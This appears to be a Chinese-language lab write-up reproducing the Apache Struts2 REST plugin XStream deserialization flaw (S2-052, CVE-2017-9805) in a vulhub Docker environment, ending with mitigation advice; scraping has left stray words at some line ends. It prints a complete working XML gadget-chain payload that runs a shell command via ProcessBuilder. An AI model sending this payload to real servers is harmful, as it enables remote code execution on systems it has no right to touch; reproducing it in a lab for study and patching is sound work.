Apache struts2遠程命令執行_CVE-2017-9805(S2-052)漏洞復現html
1、漏洞概述java
Apache Struts2的REST插件存在遠程代碼執行的高危漏洞,Struts2 REST插件的XStream插件的XStream組件存在反序列化漏洞,使用XStream組件對XML格式的數據包進行反序列化操做時,未對數據內容進行有效驗證,存在安全隱患,可被遠程攻擊。git
2、漏洞原理github
Struts2-Rest-Plugin是讓Struts2可以實現Restful API的一個插件,其根據Content-Type或URI擴展名來判斷用戶傳入的數據包類型,有以下映射表:docker
擴展名json |
Content-Type安全 |
解析方法服務器 |
xmlapp |
Application/xmlui |
xstream |
json |
Application/json |
Jsonlib或jackson |
xhtml |
Application/xhtml+xml |
無 |
無 |
Application/x-www-form-urlencoded |
無 |
無 |
Multipart/form-data |
無 |
Jsonlib沒法引入任意對象,而xstream在默認狀況下是能夠引入任意對象的(針對1.5.x之前的版本),方法就是直接經過xml的tag指定須要實例化的類名:
<classname></classname>
//或者
<paramname class="classname"></paramname>
因此,咱們能夠經過反序列化引入任意類形成遠程命令執行漏洞,只須要找到一個在Struts2庫中適用的gedget。
3、漏洞影響版本
Struts 2.1.2 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12
4、漏洞環境搭建以及復現
一、利用docker搭建vulhub漏洞環境
docker-compose up -d
二、啓動環境後,訪問http://172.17.0.1:8080/orders.xhtml,能夠看到showcase頁面。
三、因爲rest-plugin會根據URI擴展名或 Content-Type來判斷解析方法, 因此咱們只須要修改orders.xhtml或修改Content-Type頭爲application/xml,便可在Body中傳遞XML數據。
3.1點擊一個edit進行編譯頁面,burpsuit抓包
3.2修改數據包,構造數據包
將Content-Type:application/x-www-form-urlencoded修改成:Content-Type:application/xml
Post數據修改爲:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>touch</string> <string>/tmp/test.txt</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
四、能夠看到響應500狀態碼,不過仍是成功了
五、在目標執行docker-compose exec struts2 ls /tmp/ 查看是否成功執行touch命令
5、漏洞防護
一、 升級版本
二、 刪除Struts2 REST插件,或僅限於服務器普通頁面和jsons:
<constant name=」struts.action.extension」 value=」xhtml,json」/>
三、限制服務端擴展類型,刪除XML支持。
---------------------------------------------------------------------------------------------------------------------
參考連接:https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md